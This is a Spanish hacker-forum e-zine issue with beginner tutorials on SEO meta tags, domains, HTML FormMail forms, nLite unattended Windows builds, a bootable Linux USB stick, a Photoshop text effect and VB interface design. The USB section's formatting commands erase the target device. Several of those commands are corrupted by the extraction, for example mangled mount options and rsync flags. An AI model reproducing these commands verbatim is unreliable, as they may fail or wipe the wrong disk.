unidad. Les dejo a todos lo lectores de esta E-Zine un
cordial saludo y espero que les haya gustado


AnyDoom
.

La indexacin y Tu Dominio CUH e-zine 4 edicin






Hola bueno, hoy vamos a hablar de las cosas que
debemos saber sobre la indexacin
Cuando hacemos una bsqueda por ej: Google, cuantas
veces pasamos a la segunda pagina? Y esa repuesta es
muy pocas y es a si es muy difcil que un internauta se
tome esa molestia de ir a la otra pagina. Si queres
tener visitas, es primordial figurar en buena posicin en
los principales anuarios.

La indexacin (posicionamiento) : analiza tu sitio,
busca las palabras clave que lo representan con ms
fidelidad, y utilzalos para describir tu sitio en una sola
frase
Las palabras-clave es un agente importante para poder
tener buena indexacin, Como? Bueno puedes usar el
los metas tag de otros sitios parecidos a el tuyo para
copiar las palabras o que los internautas utilizarn para
encontrar tu sitio. Insprate de las de los competidores
en mejor posicin en los resultados de las bsquedas. Y
si la procedencia de tus visitantes es una pgina de
bsqueda, ten cura, si tus herramientas estadsticas te
lo permiten, de las palabras-clave utilizadas en la
peticin.
Metas Tag
Es muy fcil de usar, en una pagina HTML entre las
tags <HEAD>, tres elementos merecen especial
atencin:
Ponemos el titulo, entre las tags <TITLE>. Aparece en
la barra de ttulo de la ventana, pero tambin, si se da
el caso, como nombre de favoritos. Los motores de
bsqueda le dan en general una importancia capital.
Pon el nombre oficial de tu sitio, as como una breve
descripcin con algunas palabras-clave.
La tag<META name="descripcin" content="descripcin
de su sitio">. Transforma tu ttulo en una frase,
haciendo lo posible para que las palabras clave estn
en buena posicin: tienen que ser pocas palabras./li>
la tag<META name="keywords" content="palabra-clave
1; palabra-clave 2">. Ah escribes tus palabras-clave
en el rden de importancia; utiliza sinnimos pero evita
repetir las mismas palabras ms de 7 veces (sin ir ms
all de las 1000 letras)
<title>EL-Hacker foro de hacking y seguridad
Informtica</title>
<meta name="description" content="Foro de discusin
general donde aprenders conocimientos de informtica
y divertirte haciendo amigos.">
<meta name="keywords" content=" descargas full,
gratis, herramientas hack (y puedes agregarle mas a tu
criterio)">
Recuerda!!! Los trucos que veas por Internet de cmo
engaar a los buscadores para tener mas visitas no
funcionan y puede irte en contra ya que si ej: google
descubre la farsa puede castigarte sacndote la
indexacin.

Otro consejo; cuando queremos que nuestro sitio sea
conocido, google siempre busca sitios diseados lo mas
sencillos posibles, y hablo del cdigo Html mientras
menos basura tenga mejor, y siempre tener una
portada bien hecha y otra cosa que google busca es lo
novedoso, por eso siempre tengamos en cuenta lo que
el usuario busca y hacerlo mas agradable para ser
nico, es obvio que si ponemos ej; Nunca le ganaremos
a los que son dueos de las palabras como empresas;
ebay, yahoo, Microsoft, etc pero siempre podemos
estar abajo y eso no es tan malo dependiendo que el
segundo puesto a veces es mejor jeje.

Un buen dominio

Cuando vamos a comprar un dominio tenemos que
tener en cuenta muchas cosas, Hablemos un poco de
La indexacin y Tu Dominio CUH e-zine 4 edicin

como funciona esto
Cada servidor web es identificado por una direccin IP
nica, parecida a esto: 195.219.20.23 ; este tipo de
direccin es muy poco prctica, y un sistema de
nombres de dominio ha sido rpidamente adoptado.
Un nombre de dominio es una apelacin alfanumrica,
fcil de recordar, y que corresponde a una direccin IP;
la traduccin de uno a otro se hace a travs de un
servidor DNS (Domain Name Server).

Pero un nombre de dominio no apunta necesariamente
hacia un servidor nico, eso es el propietario quin lo
decide; en la prctica, significa que conservando el
mismo nombre de dominio, puedes cambiar de
servidor.
Si queremos un buen dominio tenemos que saber bien
que es lo que necesitamos y queremos hacer llegar a la
gente, si la pagina se trata de juegos para celulares, no
es obligacin que el dominio se llame
juegosparacelulares.com etc pero es un buen dominio
para la facilidad de indexacin y fcil de acordarse..
pero yo voy a lo mas original, Tambin podemos
inventar nombres que a veces puede significar con el
tiempo a los que nos dedicamos o lo que queremos
vender.
Los dominios mas comunes (Hay que decir que existen
muchos otros de distintos pases y organizaciones)
.biz Sitios de Organizaciones de Negocios
.com Sitios Comerciales
.edu Sitios Educativos
.gov Sitios de Organismos Gubernamentales
.info Sitios de Apertura Libre de Dominios de Nivel
Superior TLD
.int Sitios de Organizaciones Internacionales
.mil Sitios de Dependencias Militares Oficiales de los
Estados
.name Sitios Personales
.net Sitios de Sistemas y Redes
.org Sitios de Organizaciones
Nota: Los Dominios de Nivel Superior Globales (GTLD),
creados para ser usados por los usuarios de Internet en
general.
En internet los mas grande es utilizar dominios hasta
de 67 caracteres de largo. Nmeros y letras son
permitidos en el contenido de los dominios, pero no se
permiten espacios ni caracteres especiales (por
ejemplo, =, &, $, , tildes, etc.).




Hola bueno voy a dejar algunos comandos mas
importantes para empezar con formularios si ven otros
mas interesantes lo ponen
<FORM METHOD="Post"
ACTION="http://www.pagina.com/cgi-bin/formmail">

Se define como se va a utilizar la forma o sea el
mtodo a utilizar y la accin que vamos a ejecutar es
un programa "FormMail" que se encuentra en la
direccin: http://www.pagina.com/cgi-bin/formmail
(FormMail, es un programa que da a su proveedor de
espacio no le da el programa CGI para FORMAS, puede
utilizar este).
<INPUT TYPE="hidden" NAME="recipient"
value="direccin email">

Aca le indica al programa CGI anterior cual es la
direccin de correo en donde deseamos recibir la
informacin que el usuario est llenando. Cuando se
declara HIDDEN la informacin quiere decir que el
usuario no va a ver esta lnea en nuestra pgina WEB.
<INPUT TYPE="hidden" NAME="subject" value="
subject recibido">

va a ser un correo que vamos a recibir de nuestra
pagina, lo que tenemos que indicarle a el CGI que nos
enve el "ASUNTO o SUBJECT" del correo.
<INPUT TYPE="hidden" NAME="redirect" value="url
donde ingresara">

aca le indicamos al programa CGI que al terminar de
recibir la informacin, lleve al usuario a una pgina
WEB. Por lo general se enva al usuario a una pgina de
agradecimiento por haber llenado la FORMA.
<INPUT TYPE="text" NAME="nombre" size="30"
maxlength="40">

Lo que hacemos al CGI que tenemos una variable que
se llama NOMBRE, la cual tiene un largo de 30
caracteres visibles y un mximo de 40. Si nos fijamos
la siguiente lnea HTML lo nico que cambia es el
nombre de la variable que se llama "email". entonces
eso dice que podemos tener todas las variables que
querramos y los largos visibles y mximos pueden ser
cualquier tamao.
<INPUT TYPE="submit" VALUE="enviar">

Aca es para enviar toda la informacin que se acaba de
llenar al programa CGI y este a su vez nos lo enviar a
la direccin de correo que se defini anteriormente.
<INPUT TYPE="reset" VALUE="BORRAR">

Ac en este comando podemos borrar todas las formas
para volver a completar el formulario.
</FORM>

Esto le indicar al cdigo HTML que nuestra definicin
de la FORMA para cerrar el formulario creado y es
importante ponerlo

Bueno espero que les haya servido de algo esta
explicacin, ya que siempre es importante tener en
cuenta estas sugerencias, un saludo.


Senege
Crea Tu propio windows desatendido CUH e-zine 4 edicin





Bueno me presento soy Otacon creador de los Windows
LastOne, los puedes ver en google ;).




Bueno como bien lo dice el titulo este espacio estar
dedicado, para que tu como una persona que tienes
curiosidad en el mundo de la informtica, te puedas
crear tu win al gusto tuyo con tus diseos y lo mejor de
todo mas rpido que el windows original.



Como todo para empezar debers conocer algunos
conceptos bsicos, adems del software que debers
utilizar en la prctica para que vallas creando tu win
paso a paso hasta que logres tener conocimientos
avanzados del mismo. (En el transcurso del manual y
en la practica se estarn dando conceptos para que te
ests acoplndote a los nuevos conceptos que
manejaras.)



Bueno muchas personas estarn pensando que cosa es
un windows desatendido (ya que nadie nace
aprendido) as que os explicare; es un windows que un
usuario x modifica a su gusto, eliminando componentes
del mismo y as lograr un mejor rendimiento, velocidad,
estabilidad y lo mejor de todo un diseo original que tal
vez nadie tendr en este planeta. Bueno como veraz es
algo nico y especial que le puedas dar un mejor
retoque a ese windows que t tienes.

Empezando en la prctica necesitaremos algunos
materiales para empezar entre ellos estn:
El CD de Windows Xp (si lo tienes con Sp3 o
Sp2 pues ser ms fcil para ti la preparacin
del disco.)
Un quemador de CD (mejor si logras tener uno
de dvd as podrs hacer una creacin con
muchos software que se instalen
automticamente.)
Y la mejor de todo, es mucha, pero mucha
paciencia y ganas de aprender.

Para iniciar en esto ocuparemos una herramienta muy
valiosa para que no te molestes mucho modificando un
windows ya que es algo muy grande adems no
tenemos mucho tiempo para explicar detalladamente
cada uno de los archivos del windows as que
empecemos bajndonos Nlite lo puedes conseguir en
esta pagina Web y lo mejor de todo es que es gratuito.
http://www.nliteos.com/download.html. bajamos
elllamado Nlite v1.4.5 Final | Installer.(no te bajas
betas ya que desde luego te pueden provocar algn
fallo)



Beta: es el software que sacan de pruebas para poder
encontrar algn bug (error) en ese software antes de
sacar la versin final, as que ya sabes nada de betas.

Una vez bajado; lo instalamos en nuestro PC. (El
famoso siguiente. siguiente y aceptar.) :D (Recuerda
que debes tener antes instalado Microsoft .NET
Crea Tu propio windows desatendido CUH e-zine 4 edicin


Framework, versin 2.0), te lo puedes bajar de ac.
http://www.microsoft.com/downloads/details.aspx?disp
laylang=es&FamilyID=0856eacb-4362-4b0d-8edd-
aab15c5e04f5.

Una vez instalado vamos a abrirlo y escogemos el
idioma Espaol.



Luego nos dir que escojamos el Sistema Operativo
(SO es la definicin corta de sistema operativo) que
vamos a usar, luego de haberlo buscado en tu CD ROM
te dir que lo guardes en un sector de tu disco duro as
que te haces una carpeta llamada winhack, y le dices
que lo guarde ah y empieza a copiar los archivos.



Luego nos mandara una pantalla de ajustes
preestablecidos, lgicamente no tenemos ninguno, as
que dale siguiente, despus nos pondr la parte
interesante de este programita y es el control central
de nlite donde le decimos globalmente que hacer, as
que explicare las ramificaciones de la rama principal de
cada funcin que tiene nlite.



El primer botn llamado Service Pack que mas decir
con esto, :D, pues si es donde metes los service pack
que quieres que tu windows posea, as que cuando
entres en esa seccin te dir que busques el service
pack que te hallas bajado y solamente le dices donde
esta, el hace la compilacin por ti ;), luego podemos
ver el botn act criticas y Conjuntos de
actualizaciones ah insertas todas las actualizaciones
que hallan despus del ultimo service pack, que por
ahora son pocas con la salida del Sp3.

En el siguiente botn llamado integrar controladores,
ah metes los drivers que quieres que ya vengan
preestablecidos como los de tu tarjeta de sonido, de
video, drivers sata etc. (ten en cuenta que si de
casualidad metes un driver y el nlite te dice en que
modo quieres que se integre le pones que en modo
controlador regular PNP es la mejor opcin ok.

Eliminar controladores; que se puede decir de ese
botn ?, pues casi nada solo entra y elimina lo que vos
no quieres que se instale en tu SO.

Seguimos con el botn llamado instalacin
desatendida este es muy general y es el creador de un
archivo llamado winnt.sif (lo utilizaremos varias veces
en el transcurso del curso) que se encuentra en la
carpeta \I386\ de nuestro windows. As que este ser el
que haga una cierta parte el win desatendido como un
85%, ya que lo otro lo haremos nosotros manualmente
igual que la modificacin de iconos, estilos visuales y
algunas otras cosillas que se me escapan por ahora,
sigamos con este botn una vez dentro, nos
encontraremos con varias pestaas en las cuales
existen varios parmetros (mtodos) en los que
modificaremos para lograr una buena configuracin del
winnt.sif.

En la pestaa general hay varias opciones. empezamos
con el modo desatendido en la cual le ponemos la
opcin totalmente automatizado ya que queremos el
win totalmente desatendido, despus sigue la opcin
OEM Preinstall esa la ponemos habilitado,(En la
Crea Tu propio windows desatendido CUH e-zine 4 edicin


prxima entrega te dars cuenta de su
funcionamiento); y lo que es el Directorio de archivos
de programas y Prevencin de ejecucin de datos
podemos dejarlo como viene por defecto, En la clave
del producto cabe decir que es donde vas a poner la
licencia de tu windows, as que ah no hay nada que
explicar, en la opcin tipo de equipo lo dejamos en
automtico, ya que exactamente no sabemos si lo
vamos a instalar en un equipo con multiprocesador o
monoprocesador, en la siguiente opcin llamada
Miscelneo es donde escogemos si queremos que el
firewall de windows, la hibernacin y el salta oobe
vengan desactivados, as que tu escoges como quieres
que vengan. La opcin restaurar sistemas tambin es
a tu escogencia personal as que configralo a tu gusto.

Nos pasamos a la pestaa a usuarios (ehh te has
pasado una la de RunOnce, pues no me la he pasado
sino despus la configuraremos manualmente ya que
de ac te puede causar problemas a la hora de
entenderlo as que para despus prxima entrega ;).
Bueno ahora en la pestaa usuarios estn las opciones
para que creas las cuentas de usuario que tu desees
que tu win traiga con todo y password si es que lo
deseas as que configralo a tu gusto.

Nota: no podrs seguir este curso a menos que tengas
el nlite abierto, ya que tendras que estar imaginando lo
que te voy diciendo, y pues estar poniendo imgenes
se nos va la revista en dos segundo as que si te
interesa este curso ya sabes como aprender xD.

Bueno seguimos con la otra pestaa llamada ID de
red, te imaginaras que se trata de el nombre de tu
equipo, grupo de trabajo, y el nombre de dominio as
que establece cuales sern esos nombres para tu
windows.

Bueno cabe decir que las pestaas Regional,
configuracin de red, componentes,Configuracin
de red, Pantalla y Actualizaciones Automticas son
muy fciles de configurar as que no te las explicare ya
que esta en espaol y te dicen para que sirve Pero la
de Temas de escritorio la dejaremos para despus ya
que tambin es otra que necesitamos hacer algo antes
para poder integrar bien nuestros temas al windows.

Bueno ya concluimos con el botn de instalacin
desatendida (por ahora, ya que aun falta algunas
cosas que configurar y poder terminar nuestro
proyecto).

Continuando con los botones del control central de
nlite, en el botn ajustes puedes configurar las
conexiones simultaneas que ayudan mucho para
software (peer to peer.), adems de habilitar el
soporte para temas no firmados (recuerda habilitarlo
que despus no tengas problemas de que no te sirven
tus estilos visuales.)

Bueno nos quedan dos botones el de ajustes pues
seleccionas los servicios que quieres que traiga el win
por defecto adems de configurar como que quieres
que traiga el escritorio, que efectos visuales vendrn
incluidos, etc., el ultimo botn crear imagen iso ser
el ultimo botn que usaras. creo que para la prxima
entrega lo podamos ver ya que faltan muchas cosas
que aprender.

Nota: recuerda que nlite apenas lo abres debes escoger
todas las opciones menos crear imagen iso, para que
despus le integremos varias cositas entre ellas el
software; pero desde luego no podremos crear aun
nuestro win sino hasta la prxima entrega de este
manual de creacin de tu windows desatendido.






Esto es lo bsico para luego meterse en lo que es
modificaciones de la pantalla de instalacin, cambiar la
pantalla de bienvenida, modificar los iconos del
windows y ponerles unos de mac o Linux; o lo que tu
tengas a disposicin, crear el botoncito de informacin
de soporte. Modificaciones en el registro, utilizacin del
WPI y luego entrar de lleno en lo que es la instalacin
desatendida de los software, (utilizaremos la
programacin batch, ojala hayas ledo las anteriores
revistas de cuh e-zine donde Furios dami te da la
explicacin de cmo programar en este lenguaje.)
espero que les haya gustado esta pequea intro al
mundo de los desatendidos y pronto logren crear sus
propios windows totalmente personalizados y al gusto
de cada uno.



Pendrive USB de Arranque en Linux CUH e-zine 4 edicin





Hola amigos soy rOnNyLdInHo, y antes de dar inicio a
esta pequea seccin, quera agradecer a todo el
equipo que hace posible la edicin de esta ya conocida
CUH EZINE, para m es un honor y a la vez una
responsabilidad, formar parte de este selecto grupo de
la tercera edicin de tan esperada revista. Deseando
que tanto usted como sus allegados(as), les sirva
mucho no slo este tutorial, sino la revista en s... que
por ese motivo fue diseada.

EMPEZEMOS......



Bueno. lo que veremos en este manual, es algo
relativamente facil, pero..... Porque relativamente?
1- Por su ttulo: Ya que muchos pensarn que es algo
complicado, y por lo tanto lo ignoro.
2- Por el SO a utilizar: Muchos esperaban hacer un USB
de arranque, en Windows?. ja dejeme reirme otra vez,
ja. ;)
3- Si eres de esos que piensas que con pintar en The
Gimp o hacer textos en OpenOffice, ya dominas Linux,
solo mira esto y comienza a aprender, que para eso
estamos todos aqu en esta Tierra


Ahora que es lo que necesitamos???

1- Ganas de aprender.
2- Quitarse esa mentalidad de que Windows lo puede
todo...slo dale una oportunidad a Linux y vers como
responde l de bien. ;>
3- Utilizar mucho eso que tienes arriba y que muchos lo
llaman cerebro, NOTA: Yo hoy me di cuenta que
funciona no slo para ponerse el sombrero.
4- Fuera de chistes y dems, saber que esto es slo un
manual, una ayuda, la parte ms importante la haces
tu, y como lo dije antes, tu cabecita.

Qu es exactamente lo que vamos a hacer?
Bueno, ya que muchos hemos pasado por ser novatos
en Linux, nos gustara tener esa inquietud, de cmo
responder si lo pongo a trabajar fuerte.
Entonces haremos una unidad de arranque USB.

Crear una unidad de arranque USB es fcil, pero antes
de empezar a digitar como loco, quiero dar una
pequea introduccin al tema.

Primero debes saber que NO todas las placas base son
capaces de arrancar desde USB. Es ms, muchas no
arrancan ni con combinaciones de pendrives USB y
placas base juntas.
Algo peor? S hay algo peor, algunas llaves empiezan a
cargar el sistema operativo pero quedan frenadas en
los procedimientos del cheksum de la BIOS interna tras
transferir unos pocos Kbs de informacin. Hasta se ha
visto en algunas ocasiones, que hasta depende de qu
puerto USB se est usando para ponerla a funcionar.

Pero bueno, no le echemos mas lea al fuego, la
mayora de las combinaciones de placa(capaz de
arrancar desde USB) y llave, funciona :)

Hay que tener en cuenta que hay algunos obstculos
que debemos superar en el proceso de arranque.
En el momento en que el bootloader debera leer el
kernel de Linux y el initrd desde el pendrive, no hay SO
que se est ejecutando y la BIOS del ordenador debe
hacer todo el trabajo de detectar las particiones y
cargar la informacin de la unidad sin tener ningn otro
driver disponible ms que los del firmware de la BIOS
en la placa. Por otro lado, tan pronto se carga el kernel
de Linux, la llave USB desaparece. O sea, ya no es
visible, y tiene que re-detectarse por el kernel usando
mdulos de disco RAM inicial que contiene los drivers
USB y el sistema de archivos usado por las particiones
que contienen la informacin principal de tu SO.

Existen an muchas cosas que pueden ir mal en un
arranque desde USB, incluso si seguimos los pasos
correctamente. Es probable que no sea culpa
nuestra....

Para los siguientes ejemplos vamos a usar /dev/sda
Pendrive USB de Arranque en Linux CUH e-zine 4 edicin

como nombre del dispositivo del pendrive USB. Esto
puede ser incorrecto en muchos casos, especialmente
si nuestro equipo alberga discos SATA. Es aconsejable
volver a verificar el nombre del dispositivo asignado al
dispositivo USB cada vez que lo conectemos.
Para la mayora de los comandos no vamos a necesitar
permisos de root si los archivos del dispositivo que
estn en /dev se pueden escribir por un usuario de
cuenta normal y son contables mediante las
correspondientes entradas de /etc/fstab. En caso
contrario, usaremos sudo o un shell de root, con lo que
debemos ser especialmente cuidadosos.
Nota: Si no sabes como conseguir permisos de root con
un sudo, es recomendable que no realices este tutorial.

Paso 1: Creamos el sistema de archivos.
Algunos pendrives USB slo arrancan si se particionan
de cierta manera, y algunas BIOS aparentemente
buscan un cierto tipo de cabecera de particin y
sistema de archivos, o renunciarn a arrancar. He visto
casos en los que una placa slo quera arrancar desde
un pendrive USB sin particionar, y otros en los que se
requeran tanto el flag de un sector de arranque DOS
como el de la particin de arranque.
En primer lugar podemos probar con una tabla de
particiones por defecto y un sistemas de archivos ms
o menos sin modificar.
La mayora de los pendrives USB recientes tienen una
especie de tabla de particiones vlida en la que la
primera particin primaria est formateada en FAT16 o
FAT32. En este caso debemos asegurarnos de que la
particn es arrancable.
Para una particin de un pendrive USB que aparezca
como /dev/sda1, el comando para configurar el flag
como arrancable sera:
sfdisk -A1 /dev/ sda

Para reparticionar la unidad USB podemos usar las
mismas herramientas que usamos para un disco duro
normal (es decir: qparted o, mi favorito y el favorito de
muchos: fdisk o sfdisk).



El tipo de particin para un sistema de archivo DOS/FAT
(el menos problemtico para el arranque desde una
unidad USB) sera 6 para FAT16 y b para FAT32.
Usamos FAT16 para particiones menores de 2GB y
FAT32 si son mayores. Vase arriba el comando de
sfdisk para fijar el flag de la particin como arrancable
(o 'activo'), lo cual es independiente del sistema de
archivo de las particiones o del contenido.
El comando de mkdosfs para dar formato a una
particin FAT16 como /dev/sda1 es:

mkdosfs -F16 /dev/sda1

Mientras que para FAT32, sera:

mkdosfs -F32 /dev/sda1

Aunque yo creo que no, pero an as lo voy a
decir(escribir en este caso), es obvio que a este punto
perderemos toda la informacin que est en la
particin, por lo tanto debemos hacer una copia de
seguridad de toda la info que consideres importante.

Muchos pendrives USB no muestran la nueva tabla de
particiones inmediatamente, por lo que es buena idea
sacar y reconectar el pendrive USB o disco duro cada
vez que sigamos los pasos anteriores.

Ahora volvemos a verificar la nueva particin con:

cat /proc/partitions

Tras haberlo conectado de nuevo y despus de haber
esperado muchos segundos (muchos, muchos, puedes
irte a tomar un caf :>, je je es porque algunas
unidades son muy lentas en la deteccin de la tabla de
particiones).

Si la unidad ya aparece como un nombre de nuevo
dispositivo (es decir, sdb en lugar de sda),
probablemente hemos olvidado desmontar el sistema
de archivos antes de desconectarla. Podemos hacerlo
ahora, no obstante, es probable que no exista ya, tras
la reparticin de la unidad.

Para los pendrives USB sin particin (si el mtodo de
arranque particionado falla), nos saltamos el paso de
particionado y tecleamos el comando mkdosfs sobre el
pendrive USB entero.

Esa, amigos mos, fue la parte ms difcil, ahora lo que
viene es sumamente sencillo, similar a cambiar de
Windows XP a Ubuntu Feisty :)

Paso2: Instalar el syslinux como cargador del kernel

Lo que isolinux hace para un CD/DVD, syslinux lo hace
para las particiones o discos formateados en DOS.
Para unidades particionadas:

syslinux /dev/sda1

Para unidades no particionadas:

syslinux /dev/sda

aqu debemos de asegurarnos que estamos utilizando el
nombre correcto de dispositivo para nuestro sistema.

Si usamos un pendrive USB particionado, podemos
configurar (o si prefieres resetear) el sector de
arranque adecuadamente. Aunque, no es necesario
hacer esto. Puede que primero queramos ver si el
arranque funciona sin cambiar el MBR.

Instalamos un sector de arranque syslinux para
unidades particionadas:
Pendrive USB de Arranque en Linux CUH e-zine 4 edicin

ms-sys -s devicename

Usamos /dev/sda si /dev/sda1 es la particin
FAT16/FAT32 del pendrive USB. Debemos vigilar que el
nombre del dispositivo sea correcto.

Paso3: Copiamos los archivos de arranque y la
informacin
En este paso, tenemos que montar el pendrive USB (o
particin, si usamos el modo particionado) en modo
sensible a maysculas:

mkdir -p /media/usbkey
mount -t vfat -o rw.umask=
000.shortname=winnt
/dev/sda1 /media/usbkey

A continuacin deberamos cambiar /dev/sda1 a la
particin en cuestin, y entonces saltarnos el nmero
de la particin en caso de usar todo el pendrive.

Copiamos ahora los archivos de arranque desde el CD o
DVD de tu Distro*

*Como lo dijo mi amigo LTSmash en la edicin pasada,
una distro es una distribucin de cualquier SO basado
en GNU/Linux. En mi caso, para hacer este manual yo
instal Knoppix, pero se puede realizar en cualquier
distribucin de Linux sin ninugn problema. Nada ms
en los cdigos que presentar a partir de aqu, cambian
el nombre KNOPPIX por sus distro, por ejemplo:
Ubuntu, SuSe, Lindows, etc.

Vamos a suponer que el CD se monta en /cdrom en
una sesin Live de Knoppix, aunque en realidad este
paso se puede realizar en cualquier distro de Linux.

cp /cdrom/boot/isolinux/*
/media/usbkey

Mientras isolinux busca los archivos de arranque en
/boot/isolinux, syslinux los busca en el directorio / del
sistema de archivos FAT.
Pero... syslinux da un nombre diferente a su archivo
de configuracin!

mv /media/usbkey/isolinux.cfg
/media/usbkey/syslinux.cfg

Podemos borrar con seguridad los archivos especficos
de /iso/eltorito, ya que no los vamos a necesitar.

rm -f U
/media/usbkey/isolinux.bin
/media/usbkey/boot.cat

En este punto el pendrive es arrancable y contiene
tanto el kernel como el initrd, y podemos empezar a
copiar los archivos de cloop, que residen en el
directorio de tu distro , en mi caso, Knoppix.

rsync -Hav progress
/cdrom/KNOPPIX U
/media/usbkey/KNOPPIX

Una vez hecho esto, tenemos que desmontar el
dispositivo para poder sincronizar el bfer, de datos
pendientes a disco y cerrar la sesin. No se sorprenda
si este comando tarda bastante tiempo en ejecutarse.
Puede haber muchos datos sin escribir en memoria
debido a la fabulosa cach del bfer dinmico de
bloques de Linux, que hace parecer que las escrituras
en disco son ms rpidas de lo que realmente son.

umount /media/usbkey

Paso4: Configurar la BIOS de la PC



Una placa capaz de arrancar desde USB tiene al menos
dos modos de arranque por USB:
1- Arranque desde Disco Duro USB. (Unidad USB
particionada)
2- Arranque desde unidad ZIP USB. (Unidad USB sin
particionar)

Para nuestro disco duro la opcin DISCO DURO sera la
correcta pero todo depende de lo que hagamos en el
paso 1.



Crditos.
Manual editado por rOnNyLdInHo.
Revista Linux Magazine por la oportunidad de editarlo.
Klaus Knopper fundador de Knoppix por la ayuda.
Este manual ha sido editado nicamente para la revista
CUH-Ezine del foro: http://foro.el-hacker.com
Dudas, Comentarios, Sugerencias y Quejas:
ronnyldinho@hotmail.com
klaus@linux-magazine.com
http://foro.el-hacker.com

Bling Text Tutorial CUH e-zine 4 edicin




Creamos un nuevo Documento con Fondo De color
Negro, as nos ser mas fcil trabajar, escribe tu texto
en color blanco.

Y ahora aplcale al texto los siguientes Estilos:







Quedando Algo As:

Ahora haz Ctrl + Click en el icono de texto de la capa
para crear una seleccin del texto.
Si no sabes como hacerlo observa esta imagen.

Seguidamente dirgete a Seleccin > Modificar >
Contraer, y contrelo 5 Pixeles, AUN NO
DESELECCIONES.
Bling Text Tutorial CUH e-zine 4 edicin


Ahora crea una nueva capa ( sin deseleccionar )
rellnala de color blanco.
Ahora dirgete a Filtro > Ruido > Aadir Ruido con
estos valores: Cantidad: 40% Distribucin: Gaussiana y
Activamos la casilla Monocromtico y le damos a
Aceptar.
Luego presiona Ctrl + F para repetir el filtro. NO
DESELECCIONES AUN !

Ahora nos vamos a Filtro > Ruido > Polvo Y Rascaduras
, Con estos Valores: Radio: 1 Pix. Umbral: 130.
( Nota: Aqu puedes varias los valores para que se
adapten a tu gusto y al tamao de tu texto )
Seguidamente nos dirigimos a Filtro > Estilizar >
Relieve , Con estos Valores: Altura: 3 Pix. Cantidad:
130%.
Queda un poco oscuro, pues vamos a subirle el brillo,
para ello vamos a Imagen > Ajustes > Brillo/Contraste
Con estos valores: Brillo: +70 Contraste: -20.
Ahora podemos deseleccionar presionando Ctrl + D.

Ahora le aplicamos estos estilos, a la capa del Ruido.


Quedando Asi:

Ahora crearemos unos brillos, si no dispones de
Pinceles de Brillos no te preocupes ahora te mostramos
como crearlos manualmente.
Primero crea una nueva capa, selecciona el color
blanco, selecciona la herramienta Lnea con una medida
de 2 Pix. y dibuja una X en la capa, ahora creamos otra
Bling Text Tutorial CUH e-zine 4 edicin

nueva capa, seleccionamos la herramienta de Pincel,
suavizamos al mximo el pincel y hacemos un clic en el
centro de la X, ahora seleccionamos la capa de la X y le
bajamos la opacidad asta nuestro gusto, luego con el
borrador suavizado barramos las puntas de la X
dndole forma de aguja, quedando como resultado:

Ahora une las dos capas del brillo ( Ctrl + E ) y
duplcala tantas veces quieras y muvelas hacia el lugar
que decidas.

En la siguiente imagen solo hemos aadido un
degradado a la capa del texto original

Para que quede un buen resultado, es hacer el texto
con unas grandes dimensiones, al hacerlo con un gran
tamao el efecto quizs no es bueno, pero si reducimos
el texto, el efecto mejora notablemente, para ello, lo
que tienes que hacer es seleccionar todas las capas,
luego presionar Ctrl + E para unirlas, luego presionar
Ctrl + T para abrir la transformacin libre y ah
reducimos la imagen un poco hasta que veamos que su
efecto a mejorado.
Quedando un resultado como este:



Diseo de interfaces 1 CUH e-zine 4 edicin





Este tuto esta hecho para dar una gua de mas o
menos que pasos debemos seguir para la creacin
de interfaces para nuestros programas y las
pautas que debemos segur a la hora de escoger el
color y las formas de los distintos elementos de la
misma, en este tutorial se usaran tres programas:

Photoshop CS2


Visual Basic 6.0


Microangelo 5.5


Para el diseo de las barras fondos y botones
usaremos el Photoshop CS2, debemos tener en
cuenta que podemos manejar distintos tamaos
para las ventanas y dems componentes de
nuestros programas, as mismo debemos tratar
de ser consecuentes y concordantes en cuanto a
los colores o sea el manejo de un tema uniforme
para las distintas partes u elementos de nuestras
aplicaciones, antes no se tenan en cuenta este
tipo de cuestiones, ya que de lo que se trataba
era ser funcionales y el diseo poco trascenda en
la creacin de un programa, pero en la actualidad
ya es un tem manejar el concepto del diseo
grafico en los programas, ya que esta ser la cara
que daremos a los dems y de esta forma se
vern que nuestras maneras de trabajar son
acordes a la realidad y la actualidad, es por ello
que se hace necesario saber ciertas cosas para
poder competir grficamente con otras
aplicaciones que pueden hacer lo mismo que la
nuestra, pero que por diseo la nuestra se lleva
de leguas a las dems, siendo escogida por esta
cualidad ante las dems, es cierto que entre mas
liviana sea nuestra aplicacin, mas funcional ser,
sin embargo con los tipos de tecnologas y el
hardware soportado y que se maneja en la
actualidad eso ya no es un pretexto para hacer
aplicaciones arcaicas y monocromticas, ya que
un poco de diseo no le aadir el suficiente peso
para hacerla inoperable (A menos que tengas un
PC de el pasado milenio), ya que con los equipos
que salen al mercado desde hace mas de 5 aos
fcilmente una aplicacin de menos de 10 megas
es algo casi que ultraliviano entre comillas
lgicamente!

Entonces empezaremos con la parte de la barra
de titulo en Visual Basic 6.0 lgicamente



y para poder personalizar nuestra aplicacin para
que dicha barra de Windows desaparezca
debemos manejar la propiedad BorderStyle del
form:



Diseo de interfaces 1 CUH e-zine 4 edicin

En Windows se usa esta barra para poner el titulo
de la ventana y para el manejo de los botones de
visualizacin, por defecto Windows depende del
theme que se use actualmente para as mismo
poner el color y la fuente de la misma, entonces
en el combo de la propiedad la ponemos en 0-
none para omitir la barra.

De forma que podemos usar las nuestras para
personalizar totalmente nuestras




Cabe decir que al quitar este elemento el form
queda fijo ya que no se puede mover la ventana
al carecer de la barra, sobra decir tambin que
sirve para ello, sin embargo podemos manejar el
API ReleaseCapture, por el momento veremos la
forma de hacer las barras para usarlas en
nuestras aplicaciones, suponiendo que
manejamos varios tamaos de ventanas,
entonces para cada tamao manejaremos una
barra, en nuestro primer caso vamos a suponer
que hacemos el home y una ayuda por el
momento, necesitaremos dos forms para ello,
pero primero vamos al diseo de las barras en
photoshop.
Abrimos un nuevo documento de 400 pixeles
de ancho x 20 pixeles de alto, lo rellenamos de
negro.





Insertamos una nueva capa



Con la herramienta pincel, un pincel duro,
redondo y de color blanco



Cuando necesitamos precisin podemos usar las
guas para manejar exactitud a la hora de disear,
en el men Vista, Nueva Guia:



Diseo de interfaces 1 CUH e-zine 4 edicin





Hacemos tres puntos separados equitativamente
y ala misma altura, dejando las guias para poner
los botones de la siguiente forma



Seleccionamos la Herramienta Texto y escribimos
un carcter por capa en cada botn




Creamos una nueva capa de color blanco asi:



Le bajamos a esta capa a 45% quedando asi



Ya tenemos nuestra primer barra lista para usar,
la guardamos en el men archivo guardar para
web


bien sea como un .gif o como un .jpg


Este mismo documento nos puede servir para
crear la barra mas ancha, debemos guardar el psd
para mantener los documentos psd, vamos al
men archivo



